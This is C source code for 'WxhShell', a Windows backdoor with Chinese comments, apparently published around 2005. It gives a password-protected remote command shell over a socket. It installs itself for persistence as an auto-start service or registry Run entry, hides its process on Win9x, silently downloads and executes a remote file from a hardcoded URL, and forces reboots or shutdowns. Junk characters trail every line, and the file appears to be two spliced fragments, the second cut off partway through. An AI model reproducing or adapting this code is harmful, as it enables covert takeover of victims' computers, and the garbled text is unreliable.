  case 'd': { "sSY[6Kp!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R('\i/fy  
    if(Boot(SHUTDOWN)) 'kSm}} y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s-4qK(ml-  
    else { >l b9j>  
    closesocket(wsh); F AQx8P  
    ExitThread(0); k?}y@$[)  
    } l(pP*2  
    break; 6`@6k2]  
    } @rv)J[7Y&  
  // 获取shell q%/\  
  case 's': { 8]i7 wq#=  
    CmdShell(wsh); v*kX?J#]5  
    closesocket(wsh); g;7W%v5wqk  
    ExitThread(0); L=@8Z i!2<  
    break; )+Yu7=S  
  } |&MO us#v  
  // 退出 z.!u<hy(  
  case 'x': { 98maQQWD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lot;d3}  
    CloseIt(wsh); YIs_.CTi  
    break; b w!  
    } J^=Xy(3e  
  // 离开 ;v!Ef"E|cV  
  case 'q': { Y 8-;eqH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O YfRtfE  
    closesocket(wsh); w!b;.l  
    WSACleanup(); u}?|d8$h\  
    exit(1); -nZDFC8y$  
    break; `k7X|  
        } e F(oHn,  
  } NE><(02qW  
  } I%jlM0ZUI"  
Ml,in49  
  // 提示信息 iX6*OEl/Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @,{Qa!A>l  
} O<J<)_W)  
  } Q yhu=_&  
T5-Yqz  
  return; d/b\:[B@  
} `NQ;|!  
,E8g~ZUY9  
// shell模块句柄 ey$H2zmo  
int CmdShell(SOCKET sock) ^e]h\G  
{ DB0?H+8t  
STARTUPINFO si; gX`C76P!  
ZeroMemory(&si,sizeof(si)); {*"\6 8e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; It]GlxMX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JH#p;7;  
PROCESS_INFORMATION ProcessInfo; ^}UFtL i  
char cmdline[]="cmd"; ny0]Q@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P=a&>i  
  return 0; wjTW{Bg~G  
} [sK'jQo-[1  
|9[)-C~N7  
// 自身启动模式 4j(*%da  
int StartFromService(void) 5^{I}Q  
{ 5'[yw:P-8  
typedef struct )1g\v8XT  
{ ~lbm^S}-  
  DWORD ExitStatus; R ^"*ut  
  DWORD PebBaseAddress; @o&UF-=MW(  
  DWORD AffinityMask; EvT"+;9/p  
  DWORD BasePriority; ($!g= 7  
  ULONG UniqueProcessId; ;)vs=DK:)  
  ULONG InheritedFromUniqueProcessId; 4O4}C#6(4  
}   PROCESS_BASIC_INFORMATION; )"g @"LJ=  
?z3|^oU~d  
PROCNTQSIP NtQueryInformationProcess; U^Iq]L  
Y2|c;1~5$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sfp.>bMj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9Qq%Fw_  
Icx)+Mq  
  HANDLE             hProcess; ?[.g~DK,  
  PROCESS_BASIC_INFORMATION pbi; O`_]n  
16"L;r  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k;<F33v;Mh  
  if(NULL == hInst ) return 0; xv7nChB  
XvZ5Q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R8|F qBs  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Yez  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); aW#^@||B  
]sqp^tQ`e  
  if (!NtQueryInformationProcess) return 0; ?SX0e(+}}  
1]aya(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,w,)n^  
  if(!hProcess) return 0; +$R%Vbd  
_@Y17L.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; LbnF8tj}h  
]_hXg*?  
  CloseHandle(hProcess); s5ILl wr  
F~3 &@TWi  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5IP@_GV|  
if(hProcess==NULL) return 0; R+Rb[,m  
f|,2u5 ;z  
HMODULE hMod; &>Z p}.V  
char procName[255]; mFyYn,Mu|  
unsigned long cbNeeded; N8Un42  
`nL^]i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GFZx[*+%%z  
bQwiJ`B&  
  CloseHandle(hProcess); \V*E:_w*  
mnH1-}oL  
if(strstr(procName,"services")) return 1; // 以服务启动 :Ek3]`q#  
'D?sRbJ=  
  return 0; // 注册表启动 2'WdH1UrBc  
} )J&!>GP  
9!wm`'G8  
// 主模块 ,]=Qg n  
int StartWxhshell(LPSTR lpCmdLine) aT=V/Xh}d  
{ ScC!?rTW~7  
  SOCKET wsl; {\kDu#18Ld  
BOOL val=TRUE; xKoNo^FF  
  int port=0; {6*{P!H  
  struct sockaddr_in door; u"zQh|  
{N0ky=u d  
  if(wscfg.ws_autoins) Install(); cWa> rUsF  
gC/-7/}  
port=atoi(lpCmdLine); fG /wU$B  
eS"sd^;R  
if(port<=0) port=wscfg.ws_port; v?h8-yed  
`pXC= []B2  
  WSADATA data; BYs^?IfW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !B&1{  
G/8G`teAZ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   V__n9L /t  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wqp(E+&  
  door.sin_family = AF_INET; yGPi9j{QXq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +,}CuF  
  door.sin_port = htons(port); >V3pYRA   
Ox f,2r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qzu%Pp6If  
closesocket(wsl); }u'O<d~z?  
return 1; e7gWz~  
} b"z9Dpv  
%suXp,j  
  if(listen(wsl,2) == INVALID_SOCKET) { .g6(07TyV  
closesocket(wsl); Ps{}SZn  
return 1; N+NS\Y5  
} %i`YJ  
  Wxhshell(wsl); Dz&<6#L<  
  WSACleanup(); ctL,Mqr\Z  
;AgXl%Q  
return 0; lb`2a3W/  
QX 393v!  
} |h%fi-a:  
ZBfB4<M9xS  
// 以NT服务方式启动 0)3*E)g{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) agW#"9]WM  
{ zf^F.wW  
DWORD   status = 0; x^ ]1m%  
  DWORD   specificError = 0xfffffff; 7ip(-0  
?28aEX_w  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4S#q06=Xe  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !P b39[f  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'D;'Pr]  
  serviceStatus.dwWin32ExitCode     = 0; dKTUW<C  
  serviceStatus.dwServiceSpecificExitCode = 0; GGchNt  
  serviceStatus.dwCheckPoint       = 0; pxs`g&3yd  
  serviceStatus.dwWaitHint       = 0; j*;/Cah]k  
x kebel`%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g3uI1]QXLg  
  if (hServiceStatusHandle==0) return; EYF]&+ 9  
kT6EHuB  
status = GetLastError(); })}-K7v1+  
  if (status!=NO_ERROR) WD5ulm?91|  
{ TJp0^&Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :j0r~*z-  
    serviceStatus.dwCheckPoint       = 0; (s.S n(E  
    serviceStatus.dwWaitHint       = 0;  ~WG#Zci-  
    serviceStatus.dwWin32ExitCode     = status; p![CH  
    serviceStatus.dwServiceSpecificExitCode = specificError; Y+I`XeY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); e#$ZOK)`  
    return; L1E\^)  
  } s"\o6r ,  
S}cm.,/w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o\YF_235  
  serviceStatus.dwCheckPoint       = 0; nANoy6z:  
  serviceStatus.dwWaitHint       = 0; I|?Z.!I|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 675x/0}GO  
} Fu cLcq2Z  
Ju7nvxC  
// 处理NT服务事件,比如:启动、停止 ?#917M  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;1 02ddRV  
{ (P N!k0Y  
switch(fdwControl) `Z0#IeX=  
{  !(<Yc5  
case SERVICE_CONTROL_STOP: URD<KIN>  
  serviceStatus.dwWin32ExitCode = 0; -3T6ck  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; sx0:g?F3j  
  serviceStatus.dwCheckPoint   = 0; YEx7 6  
  serviceStatus.dwWaitHint     = 0; =1"8ua  
  { O{9h'JU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T9+ ?A l  
  } +}@HtjM  
  return; [UHDN:y  
case SERVICE_CONTROL_PAUSE: xFY;aK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v+|N7  
  break; nUvxO `2  
case SERVICE_CONTROL_CONTINUE: 8y{<M"v+/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7=ZB?@bU~  
  break; NwdA@"YQ|  
case SERVICE_CONTROL_INTERROGATE: @u2nG:FG  
  break; <99Xg_e  
}; 3J{`]v5`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BZE~k?*  
} /IC7q?avQN  
l&4TfzkY  
// 标准应用程序主函数 rE bC_<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @M-+-6+  
{ A8R}W=  
dSb|hA}@  
// 获取操作系统版本 [$Ld>`3  
OsIsNt=GetOsVer(); n(b(H`1n  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ##!) }i  
wK CHG/W  
  // 从命令行安装 y$At$i>u  
  if(strpbrk(lpCmdLine,"iI")) Install(); XY8s\DK  
5u\si4BL{  
  // 下载执行文件 Wb"*9q06  
if(wscfg.ws_downexe) { !#nlWX :~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p_jDnb#  
  WinExec(wscfg.ws_filenam,SW_HIDE); !ldb_*)h  
} 451r!U1Z  
4l$(#NB<  
if(!OsIsNt) { HhaUC?JtSK  
// 如果时win9x,隐藏进程并且设置为注册表启动 i(JBBE"  
HideProc(); 5xi f0h-`  
StartWxhshell(lpCmdLine); y.~y*c6,g  
} h&Ehp   
else Q- %Q7n'c  
  if(StartFromService()) ^Q]*CU+C  
  // 以服务方式启动 s45Y8!c  
  StartServiceCtrlDispatcher(DispatchTable); Yo c N@s  
else #s1O(rLRl  
  // 普通方式启动 vvLm9Tw  
  StartWxhshell(lpCmdLine); "| <\\HR  
_gB`;zo  
return 0; lu(<(t,Lbs  
} V,($I'&/  
92GO.xAD?  
ho_;;y  
!c\d(u  
===========================================  )>Oip  
+'?p $@d  
:xfD>K  
tZ[Y~],F  
PY.c$)az>  
$Tt@Xu  
" \c+)Y}:D  
IBWUeB:b  
#include <stdio.h> "2X=i`rTi  
#include <string.h> jBV2]..  
#include <windows.h> uRQm.8b  
#include <winsock2.h> U%ce0z  
#include <winsvc.h> 5DfAL;o!  
#include <urlmon.h> <$n%h/2%  
WJZW5 Xt  
#pragma comment (lib, "Ws2_32.lib") mk1;22o{TX  
#pragma comment (lib, "urlmon.lib") H>e?FDs0*R  
F9ry?g=h  
#define MAX_USER   100 // 最大客户端连接数 x{C=rdp__  
#define BUF_SOCK   200 // sock buffer ?MuM _6  
#define KEY_BUFF   255 // 输入 buffer qu8i Jq  
=8j;!7 p  
#define REBOOT     0   // 重启 pc5-'; n  
#define SHUTDOWN   1   // 关机 TdP_L/>|J  
E) >~0jv  
#define DEF_PORT   5000 // 监听端口 +}X?+Epm  
r+0"1\f3  
#define REG_LEN     16   // 注册表键长度 l'VgS:NT  
#define SVC_LEN     80   // NT服务名长度 wYhWRgP  
y>u+.z a|  
// 从dll定义API gy _86y@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8<k0j&~J  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J1Mm,LTO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xmTa$tR+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N<:5 r  
*J?QXsg  
// wxhshell配置信息 mUzNrkG(G  
struct WSCFG { 7[QU *1bk  
  int ws_port;         // 监听端口 __$IbF5  
  char ws_passstr[REG_LEN]; // 口令 =A<kDxqH  
  int ws_autoins;       // 安装标记, 1=yes 0=no &TSt/b/+W  
  char ws_regname[REG_LEN]; // 注册表键名 -[v:1\Vv  
  char ws_svcname[REG_LEN]; // 服务名 O1coay  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  "=H7p3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #;a 1=8H  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 UKQ ,]VC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f!*b8ND^R  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =V_} z3b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $ # @G!  
N- ?U2V  
}; 3`J?as@^8  
@ h([c  
// default Wxhshell configuration }.4`zK&SB  
struct WSCFG wscfg={DEF_PORT, KSuP'.l  
    "xuhuanlingzhe", FgNO#%  
    1, W{Ie(hf  
    "Wxhshell", *4r 1g+0  
    "Wxhshell", $.cNY+  k  
            "WxhShell Service", t</rvAH E  
    "Wrsky Windows CmdShell Service", `Qv7aY  
    "Please Input Your Password: ", OqY8\>f-  
  1, gCgMmD=AZ  
  "http://www.wrsky.com/wxhshell.exe", 18Vtk"j  
  "Wxhshell.exe" >c\'4M8Cz  
    }; i=reJ(y-  
]~87v  
// 消息定义模块 Us M|OH5k  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D<#+ R"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; w]UYD;f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3ZU`}  
char *msg_ws_ext="\n\rExit."; \S}&QV  
char *msg_ws_end="\n\rQuit."; &m`1lxT  
char *msg_ws_boot="\n\rReboot..."; P`5@$1CJ  
char *msg_ws_poff="\n\rShutdown..."; \)DP(wC  
char *msg_ws_down="\n\rSave to "; f$iv+7<B^  
FsY}mql  
char *msg_ws_err="\n\rErr!"; 6/T hbD-C  
char *msg_ws_ok="\n\rOK!"; R(=Lhz6R4  
b3MgJT"mN  
char ExeFile[MAX_PATH]; LSNa  
int nUser = 0; %U)/>Z  
HANDLE handles[MAX_USER]; $91c9z;f^  
int OsIsNt; D.j'n-yw  
- P1OD)B  
SERVICE_STATUS       serviceStatus; 8Cs)_bj#!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; q0.+F4  
 ^P~%^?(  
// 函数声明 U'UV=:/-  
int Install(void); }/B  
int Uninstall(void); ={W;8BUV%^  
int DownloadFile(char *sURL, SOCKET wsh); "dXRUg"  
int Boot(int flag); 4!d&Zc>C4  
void HideProc(void); Q{UR3U'Q  
int GetOsVer(void); bAeC=?U  
int Wxhshell(SOCKET wsl); yW^[{)V 3%  
void TalkWithClient(void *cs); #c'yAa  
int CmdShell(SOCKET sock); IaH8#3+a  
int StartFromService(void); C&,&~^_F  
int StartWxhshell(LPSTR lpCmdLine); #!OCEiT_  
KFdV_e5lU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]=2Ba<)m  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b~Op1p  
f`.8.1Rd  
// 数据结构和表定义 O>w Gc8Of\  
SERVICE_TABLE_ENTRY DispatchTable[] = vJ7I [Z  
{ LgjL+w19  
{wscfg.ws_svcname, NTServiceMain}, IwKhun  
{NULL, NULL} ^L+*}4Dr  
}; b>hNkVI  
dZIAotHN:  
// 自我安装 H`njKKdR  
int Install(void) 7UejK r  
{ m(s(2wq"f  
  char svExeFile[MAX_PATH]; X_ne#ZPl  
  HKEY key; 36*"oD=@  
  strcpy(svExeFile,ExeFile); 8t!(!<iF0  
#gMMh B=  
// 如果是win9x系统,修改注册表设为自启动 #Bg88!-4  
if(!OsIsNt) { &v Lz{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,icgne1j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mFjX  
  RegCloseKey(key); }BKEz[G(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fB:9:NX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hq6fDRO/4  
  RegCloseKey(key); X,IjM&o"Y  
  return 0; sHyhR:  
    } ^rfY9qMJr8  
  } [!]a' T#x  
} L$cNxz0$  
else { #M$[C d I$  
}tF/ca:XPQ  
// 如果是NT以上系统,安装为系统服务 -GD_xk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "yCCei,hA?  
if (schSCManager!=0) NEa :  
{ &W-L`aFd0  
  SC_HANDLE schService = CreateService wOOBW0tj  
  ( 7cr@;%#  
  schSCManager, V8ZE(0&II}  
  wscfg.ws_svcname, wdS^`nz|  
  wscfg.ws_svcdisp, +wXrQV  
  SERVICE_ALL_ACCESS, {(w/_C9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =${]j  
  SERVICE_AUTO_START, h$)(-_c3  
  SERVICE_ERROR_NORMAL, !jN}n)FSq  
  svExeFile, <|c n Qj*  
  NULL, Y;8Ys&/t  
  NULL, _7'9omq@  
  NULL, ]>E*s3h  
  NULL, PUV)w\!&is  
  NULL uM h[Ht^.  
  ); V%8?f,  
  if (schService!=0) J0*hJ-/u  
  { iZ<^p1i  
  CloseServiceHandle(schService); "CLoM\M)  
  CloseServiceHandle(schSCManager); ym9Z:2g  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p~6/+ap  
  strcat(svExeFile,wscfg.ws_svcname); "+/%s#&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I 8vv  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MP(R2y  
  RegCloseKey(key); btHN  
  return 0; j5,1`7\7B  
    } Umjt~K^Z  
  } 0vuL(W8)  
  CloseServiceHandle(schSCManager); RbzSQr>a\  
} /:3:Ky3  
} 0?KXQD  
f]`#BE)V  
return 1;  n0F.Um  
} FRd!UqMXY  
(+6 8s9XS7  
// 自我卸载 C93BK)$}  
int Uninstall(void) 26PUO$&b.  
{ X1&Ug ^  
  HKEY key; <nlZ?~%}  
L`;p.L Bs_  
if(!OsIsNt) { ^u&oS1U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,yus44w[  
  RegDeleteValue(key,wscfg.ws_regname); M.$Li#So,  
  RegCloseKey(key); g@wF2=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qYR $5  
  RegDeleteValue(key,wscfg.ws_regname);  N-`Vb0;N  
  RegCloseKey(key); "RMBV}<T  
  return 0; >/mi#Y6  
  } 3:@2gp!tq  
} Jz7a|pgep  
} hr_ 5D  
else { aDmyr_f$  
'kb5pl~U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Gdmh#pv  
if (schSCManager!=0) T6m#sVq  
{ C~4_Vc*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JBfDz0P  
  if (schService!=0) ' N^\9X0  
  { d0Xb?- }3M  
  if(DeleteService(schService)!=0) { TG7Ba[%  
  CloseServiceHandle(schService); o`5p "v r  
  CloseServiceHandle(schSCManager); ph{p[QI:{X  
  return 0; /_<`#?5T(  
  } 3[I; 3=O  
  CloseServiceHandle(schService); _G%]d$2f`  
  } EBlfwFd  
  CloseServiceHandle(schSCManager); !>fYD8Ft,  
} yTzP{I  
} 5v <>%=  
A<P3X/i  
return 1; A}WRpsA9  
} _a1 =?  
$2B _a  
// 从指定url下载文件 ^ CVhV  
int DownloadFile(char *sURL, SOCKET wsh) xxkU u6x#  
{ /WlK*8C  
  HRESULT hr; nv&uhu/q  
char seps[]= "/"; 1{+x >Pv:  
char *token; g?N~mca$  
char *file;  N1,=5P$  
char myURL[MAX_PATH]; bHVAa#  
char myFILE[MAX_PATH]; (uW/t1  
qcMVY\gi  
strcpy(myURL,sURL); i;Cs,Esnf  
  token=strtok(myURL,seps); M2HO!btf  
  while(token!=NULL) ALvj)I`Al  
  { bj23S&  
    file=token; \Zc$X^}vN  
  token=strtok(NULL,seps); Q|QVm,m  
  } f0p+l -iEv  
= ms(dr^n  
GetCurrentDirectory(MAX_PATH,myFILE); Rs_0xh  
strcat(myFILE, "\\"); 8|^dM$  
strcat(myFILE, file); Ww5c9orXn  
  send(wsh,myFILE,strlen(myFILE),0); 6BM[RL?T  
send(wsh,"...",3,0); 9ZvBsG)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fm$eJu  
  if(hr==S_OK) N)P((>S;  
return 0; 5=m3J !?  
else ~ z>BfL  
return 1; 0&Qsk!-B  
\ boL`X  
} $kIo4$.Y$  
&8waih(|  
// 系统电源模块 $mD>r x  
int Boot(int flag) ret0z|  
{ bz$Qk;m=H  
  HANDLE hToken; H):-! ?:  
  TOKEN_PRIVILEGES tkp; 1N>6rN  
`LE^:a:8,  
  if(OsIsNt) { s{cKBau  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;*.(.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); w'|&5cS  
    tkp.PrivilegeCount = 1; +!Q!m 3/I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E;xMPK$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); TMNfJz   
if(flag==REBOOT) { q`cEA<~S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .E#<fz  
  return 0; [qW<D/@  
} zdqnL^wb  
else { {f&NStiB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0Ux<16#  
  return 0; 4uX,uEa  
} 6mi$.' qP  
  } tnN'V  
  else { Tt`L(oF  
if(flag==REBOOT) { yS+ (<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^g-Fg>&M  
  return 0; C(xqvK~p  
} =zz+<!!  
else { d b<q-u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (eki X*y  
  return 0; >H)^6sJ;%b  
} yB=C5-\F  
} v;Swo("  
^g70AqUc  
return 1; 8g.AT@ ,Q  
} UBL(Nr  
cJSVT8  
// win9x进程隐藏模块 g;(_Y1YQ  
void HideProc(void) FT<H ]Nf  
{ (LRNU)vD7$  
nZ&T8@m  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fVG$8tB  
  if ( hKernel != NULL ) y#&$ f  
  { _k6x=V;9g  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l_bL,-|E8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]NbX`'  
    FreeLibrary(hKernel); ^=Q8]W_*  
  } N&?T0Ge;  
lt{lHat1  
return; kV_#9z7%  
} Ft)t`E'%j  
qo)Q}0  
// 获取操作系统版本 j p!  
int GetOsVer(void) 1]_?$)$T  
{ <"hb#Tn  
  OSVERSIONINFO winfo;  <V7SSm  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j.<:00<  
  GetVersionEx(&winfo); MRjH40" 2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i5.?g<.H  
  return 1; eVZa6la"  
  else .4H_Zt[2  
  return 0; f3/SO+Me}  
} &t~zD4u B  
<9ePi9D(  
// 客户端句柄模块 h U 9\y  
int Wxhshell(SOCKET wsl) N 9c8c  
{ :a#F  
  SOCKET wsh; 2T//%ys=  
  struct sockaddr_in client;  AQB1gzE  
  DWORD myID; ?@3#c  
/&*m1EN#o  
  while(nUser<MAX_USER) v&p,Clt-2  
{ kw 6cFz  
  int nSize=sizeof(client); j#7wyi5q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .=>\Qq%  
  if(wsh==INVALID_SOCKET) return 1; yJF 2  
.Ln;m8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `l+ >iM  
if(handles[nUser]==0) $dlnmNP+  
  closesocket(wsh); {9h`$e=  
else l.XknF  
  nUser++; 17WNJ  
  } 7vi i9Am7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h9w@oRp`~  
<P|`7wfxE  
  return 0; Ko1AaX(I'+  
} Oyi;bb<#  
[B}1z  
// 关闭 socket 7k'=Fm6za  
void CloseIt(SOCKET wsh) >Y,/dyT Zm  
{ t)\D  
closesocket(wsh); K?5B>dv@A  
nUser--; 2=igS#h  
ExitThread(0); j5PaSk&o=  
} 4}.WhE|h  
u^}7Vs .  
// 客户端请求句柄 IUluJ.sXIf  
void TalkWithClient(void *cs) \Pw8wayr%  
{ "V*kOb&'*Z  
8|w5QvCU?3  
  SOCKET wsh=(SOCKET)cs; ZmEG<T05  
  char pwd[SVC_LEN]; aSn0o_4bD  
  char cmd[KEY_BUFF]; zWF 5m )-  
char chr[1]; )9; (>cdl  
int i,j; R2Twm!1  
[>b  '}4  
  while (nUser < MAX_USER) { 2q`)GCES~  
+CsI,Uf4*  
if(wscfg.ws_passstr) { >v^2^$^u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &Pmc"9Rl  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )p^m}N 6M]  
  //ZeroMemory(pwd,KEY_BUFF); ExN j|*  
      i=0; &eThH,w$2  
  while(i<SVC_LEN) { w^ixMn~nLF  
*Te4U5F  
  // 设置超时 6Y;Y}E  
  fd_set FdRead; S 23S.]r  
  struct timeval TimeOut; X)`(nj  
  FD_ZERO(&FdRead); xDPQG`6  
  FD_SET(wsh,&FdRead); wm); aWP  
  TimeOut.tv_sec=8; s,eld@  
  TimeOut.tv_usec=0; >/7KL2*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2uvQf&,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s(1_:  
}ZEfT]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w o-O_uZB  
  pwd=chr[0]; #2_o[/&}x@  
  if(chr[0]==0xd || chr[0]==0xa) { YWt"|  
  pwd=0; qR [}EX&3  
  break; =q_&* '  
  } 91-P)%?  
  i++; [<#<:h &\  
    } p{A}p9sjx  
}4bB7,j  
  // 如果是非法用户,关闭 socket p{mxk)A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '#cT4_D^lI  
} uznoyj6g  
.jU|gf:x  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v YRt2({}Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +zFV~]b  
, aRJ!AZ  
while(1) { r*X}3t*  
D%c7JK  
  ZeroMemory(cmd,KEY_BUFF); w?V[[$  
p/\$P=  
      // 自动支持客户端 telnet标准   JLy)}8I  
  j=0; w5dI k]T  
  while(j<KEY_BUFF) { d8Q_6(Ar|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XBfiaj  
  cmd[j]=chr[0]; ,W)IVc   
  if(chr[0]==0xa || chr[0]==0xd) { q|47;bK'  
  cmd[j]=0; z;fd#N:  
  break; 33#7U+~]@  
  } gFWEodx,9  
  j++; "!%w9  
    } &%f]-=~  
3b g4#c  
  // 下载文件 Sb:zN'U  
  if(strstr(cmd,"http://")) { 0[Xt,~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); CX&yjT6`  
  if(DownloadFile(cmd,wsh)) eZN3H"H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7]M,yIwc  
  else G1#Bb5q:  
